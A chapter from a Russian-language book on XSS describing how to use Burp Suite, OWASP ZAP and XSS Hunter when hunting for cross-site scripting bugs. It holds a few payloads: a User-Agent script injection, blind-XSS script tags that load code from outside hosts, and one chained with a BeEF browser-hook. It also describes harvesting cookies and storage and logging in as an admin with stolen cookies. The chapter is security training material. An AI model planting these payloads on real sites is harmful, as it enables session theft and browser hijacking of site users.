Книга: «Все об уязвимости XSS». Глава 5: Поиск XSS - Охота началась 🕵️ • Инструментарий: Burp Suite (моя любовь), OWASP ZAP, XSS Hunter
Инструменты -это продолжение рук охотника за XSS. Можно быть гением теории, знать все payload'ы наизусть, но без правильного тулсета ты будешь как хирург с тупым скальпелем. За годы работы я перепробовал десятки инструментов, от древних скриптов на Perl до модных фреймворков на Go. И могу с уверенностью сказать: есть три кита, на которых держится вся охота -Burp Suite, OWASP ZAP и XSS Hunter. Давай разберём каждый и научимся выжимать из них максимум.
Burp Suite - швейцарский нож и любовь всей жизни
Burp Suite от PortSwigger - это не просто инструмент. Это целая экосистема для веб-пентеста, и для XSS-охоты в частности. Если бы меня сослали на необитаемый остров и разрешили взять только один инструмент для поиска уязвимостей - я бы взял Burp. И зубную щётку.
Почему Burp - это любовь
Полнота функционала. Proxy, Scanner, Intruder, Repeater, Decoder, Comparer -каждый модуль решает свою задачу, и все они работают в связке. Ты перехватываешь запрос в Proxy, отправляешь в Repeater для тестирования, затем в Intruder для fuzzing'а, а Scanner параллельно ищет автоматические находки.
Расширяемость. BApp Store содержит сотни плагинов, созданных комьюнити. Для XSS особенно полезны: XSS Validator, Retire.js, Reflected Parameters, Active Scan++, JSON Web Tokens и куча других.
Стабильность. Burp работает. Всегда. Даже с тысячами запросов, сложными scope'ами и многочасовыми сессиями. Это промышленный инструмент, который не падает в самый неподходящий момент.
Burp Proxy - твой пункт перехвата
Здесь начинается всё. Proxy перехватывает HTTP/HTTPS трафик между браузером и целевым сервером, позволяя тебе видеть и модифицировать каждый запрос и ответ.
Базовая настройка:
- Burp слушает на
127.0.0.1:8080по умолчанию - Настрой браузер использовать этот прокси (или используй расширение FoxyProxy)
- Установи CA-сертификат Burp для перехвата HTTPS
- В Proxy → Options → включи "Intercept is on"
Продвинутые фишки для XSS:
Match and Replace rules: Автоматическая подмена значений на лету. Например, замени все User-Agent на payload:
- Type: Request header
- Match:
User-Agent: .* - Replace:
User-Agent: <script>alert(1)</script>
Automatic Payload Markers: В Proxy → Options → Response Modification можешь настроить автоматическую подсветку твоих payload'ов в ответах. Добавь регулярки типа <script>alert и они будут выделяться цветом.
History filter: В HTTP History настрой фильтры, чтобы видеть только интересные запросы. Например, только POST-запросы к формам или только ответы с кодом 200, содержащие твои маркеры.
Burp Repeater - снайперская винтовка
Repeater позволяет многократно отправлять и модифицировать один запрос, мгновенно видя результат. Это идеально для мануального тестирования когда ты нащупал потенциальную уязвимость.
Workflow:
- Перехватил запрос в Proxy → Send to Repeater (Ctrl+R)
- Модифицируй параметр, добавь payload
- Send (Ctrl+Space)
- Смотри Response (особенно в Render tab для визуального отображения)
- Итерируй: меняй payload, отправляй снова
Лайфхаки:
- Множественные табы: Открывай несколько вкладок Repeater для разных запросов/payload'ов
- Request/Response highlighting: Правой кнопкой → Highlight → выбери цвет для важных находок
- Compare responses: Выдели два запроса → Send to Comparer → видь точные различия в ответах
Burp Intruder - артиллерия массового поражения
Как мы разбирали в предыдущем разделе о fuzzing'е, Intruder - это твой автоматический атакующий модуль. Но есть ещё нюансы.
Payload Processing:
В Intruder → Payloads → Payload Processing можно добавлять правила преобразования на лету:
- Add prefix/suffix (например, обернуть каждый payload в кавычки)
- URL-encode special characters
- Base64-encode
- Hash (MD5, SHA1, etc.)
Это позволяет не готовить отдельные списки для каждого контекста.
Grep - Extract:
Помимо простого Grep - Match, используй Grep - Extract для извлечения конкретных данных из ответов. Например, вытащи CSRF-токены или session ID'шники, чтобы использовать их в последующих запросах.
Resource Pool:
В профессиональной версии можно создавать пулы ресурсов для управления нагрузкой. Для чувствительных целей настраивай throttling (задержки между запросами), чтобы не вызвать rate limiting или DoS.
Burp Scanner - автоматический разведчик
В Burp Pro есть активный и пассивный сканер. Пассивный анализирует трафик, проходящий через Proxy, и ищет потенциальные проблемы. Активный отправляет собственные запросы с payload'ами.
Настройка для XSS:
- Target → Site map → правой кнопкой на нужный scope → Actively scan this branch
- Scan configuration → выбери "Audit checks" → убедись, что включены все XSS-проверки (Reflected XSS, Stored XSS, DOM-based XSS)
- Запусти сканирование
Важно: Scanner хорош как первый проход, но он не заменит мануального тестирования. Он найдёт 60-70% очевидных XSS, остальное — твоя работа.
Burp Extensions для XSS
DOM Invader (встроенный в новых версиях):
Расширение для браузера, интегрированное с Burp, которое показывает DOM-based XSS векторы прямо в DevTools. Подсвечивает sources (откуда данные) и sinks (куда попадают), показывает потенциально опасные места.
XSS Validator:
Плагин, который реально выполняет твой payload в headless-браузере (Phantom.js) и проверяет, сработал ли JavaScript. Это решает проблему false positives — если Scanner говорит "возможно XSS", XSS Validator скажет "да" или "нет" точно.
Reflected Parameters:
Автоматически находит все параметры, которые отражаются в ответе. Экономит время на ручной поиск.
Практический workflow в Burp
- Разведка: Spider + Proxy (ходишь по сайту руками, Burp всё запоминает)
- Автосканирование: Burp Scanner на весь scope
- Ручное тестирование: Анализируешь Sitemap, ищешь интересные точки входа
- Fuzzing: Intruder с payload-листами на найденные параметры
- Эксплуатация: Repeater для отладки финального PoC
- Документирование: Экспорт находок из Scanner + скриншоты из Repeater
OWASP ZAP - бесплатная альтернатива с душой
OWASP Zed Attack Proxy - это open-source конкурент Burp. Если у тебя нет денег на Burp Pro (около $400/год), ZAP — отличный выбор. И даже если есть, ZAP стоит держать в арсенале.
Чем ZAP хорош
Полностью бесплатный. Все функции доступны из коробки. Нет урезанных версий, нет подписок.
Активное комьюнити. OWASP - это огромная организация, и ZAP поддерживается армией контрибьюторов.
Автоматизация и CI/CD. ZAP изначально проектировался для интеграции в автоматические пайплайны. У него есть Docker-образы, CLI, API - всё для DevSecOps.
Дружелюбный UI. Burp может показаться сложным новичку. ZAP проще, с wizard'ами и подсказками.
Основные возможности ZAP
Automated Scan:
Самый простой способ начать:
- Запускаешь ZAP
- Quick Start → Automated Scan
- Вводишь URL цели
- Attack
ZAP сам проползёт сайт (spider), найдёт формы, параметры и протестирует их на XSS и другие уязвимости.
Manual Explore:
Более контролируемый подход:
- Manual Explore → вводишь URL
- Открывается браузер, проксированный через ZAP (HUD mode)
- Ходишь по сайту, ZAP записывает всё
- Потом запускаешь Active Scan на собранный scope
Fuzzer:
Аналог Burp Intruder. Правой кнопкой на запросе → Attack → Fuzz. Выбираешь параметр, загружаешь payload-лист, запускаешь. Результаты показываются в реальном времени.
Scripts и расширения:
ZAP поддерживает скрипты на Python, JavaScript, Ruby. Можно писать свои чекеры, кастомные payload'ы, автоматизацию.
ZAP vs Burp: когда что использовать
Используй ZAP если:
- Нет бюджета
- Нужна интеграция в CI/CD
- Работаешь в команде, где все должны иметь доступ к одинаковым инструментам
- Тестируешь простые сайты без сложной логики
Используй Burp если:
- Нужна максимальная гибкость и контроль
- Работаешь с enterprise-приложениями со сложной логикой
- Нужны продвинутые функции типа Session Handling, Macros, Collaborator
- Просто хочешь best-in-class инструмент
Моё мнение: Для профессиональной охоты - Burp. Для автоматизации, обучения и open-source проектов - ZAP. Идеально - иметь оба.
XSS Hunter - специализированное оружие для Blind XSS
XSS Hunter (и его новая версия XSS Hunter Express) - это не универсальный сканер. Это лазерно-точный инструмент для одной задачи: ловить Blind XSS.
Проблема, которую решает XSS Hunter
Как мы разбирали в главе о типах XSS, Blind XSS - это когда твой payload срабатывает в месте, куда у тебя нет прямого доступа (админка, внутренняя система, email-клиент саппорта). Проблема: как узнать, что он вообще сработал?
Решение: XSS Hunter предоставляет уникальные payload'ы, которые при выполнении отправляют callback на сервер XSS Hunter с полной информацией о срабатывании.
Как работает XSS Hunter
- Регистрируешься на сервисе (можешь использовать публичный xss.ht или развернуть свой)
- Получаешь уникальный payload:
<script src="https://your-subdomain.xss.ht"></script>
- Вставляешь этот payload во все точки входа (формы, тикеты, профили, headers)
- Ждёшь
- Получаешь email/уведомление, когда кто-то (админ, модератор) открыл страницу с твоим payload'ом
Что собирает XSS Hunter при срабатывании
- Screenshot страницы, где сработал XSS
- Полный DOM (document.documentElement.outerHTML)
- Cookies (если доступны)
- LocalStorage и SessionStorage
- URL страницы
- IP-адрес жертвы
- User-Agent браузера
- Referrer
- Origin
Это золотая шахта информации для дальнейшей эксплуатации.
XSS Hunter Express - самохостинг
Публичный XSS Hunter иногда недоступен или ты не хочешь светить свои payload'ы на чужом сервере. XSS Hunter Express - это open-source версия, которую можно развернуть на своём VPS.
Установка:
git clone https://github.com/mandatoryprogrammer/xsshunter-express
cd xsshunter-express
npm install
# Настрой .env файл с доменом и параметрами
node app.js
Теперь у тебя свой приватный XSS Hunter с полным контролем.
Продвинутые техники с XSS Hunter
Chainload с BeEF:
Payload XSS Hunter можно скомбинировать с BeEF для полного контроля:
<script src="https://your-xss.ht"></script> <script src="https://your-beef.com/hook.js"></script>
Сначала получишь информацию через XSS Hunter, потом управляешь браузером через BeEF.
Кастомные payload'ы:
XSS Hunter позволяет добавлять свой JavaScript, который выполнится при срабатывании. Можешь красть специфичные данные, делать дополнительные запросы, etc.
Практический workflow
- Массовая отправка: Вставь XSS Hunter payload во все формы обратной связи, тикеты, профили на целевом сайте
- Маркировка: Используй разные поддомены или параметры для разных точек входа (например,
contact-form.xss.ht,profile-bio.xss.ht), чтобы знать, где сработало - Мониторинг: Проверяй панель XSS Hunter раз в день/неделю
- Реагирование: При срабатывании анализируй данные, пытайся воспроизвести уязвимость с уже известным контекстом
Комбинирование инструментов - синергия
Профессионалы не выбирают один инструмент. Они используют всё вместе:
- Burp для глубокого мануального тестирования и fuzzing'а
- ZAP для автоматизации и первичного сканирования
- XSS Hunter для Blind XSS на долгосрок
Типичный день охотника:
- Утро: ZAP автоматически сканирует цель, пока ты пьёшь кофе
- День: Анализируешь результаты ZAP, интересные места дотестируешь в Burp вручную
- Вечер: Разослал XSS Hunter payload'ы во все формы обратной связи
- Через неделю: Получил уведомление от XSS Hunter → залогинился под админом через украденные cookies → написал отчёт на $5k
Заключение
Инструменты - это не просто софт. Это продолжение твоего мышления. Burp Suite, OWASP ZAP и XSS Hunter покрывают 99% задач при поиске XSS. Освой их на уровне рефлекса: горячие клавиши, настройки, расширения, интеграции. Экспериментируй, комбинируй, автоматизируй рутину и фокусируйся на творческой части - поиске нестандартных векторов и эксплуатации сложных кейсов. В следующей главе мы перейдём к обходу фильтров - там, где инструменты бессильны, а побеждает только твой мозг и знание спецификаций.
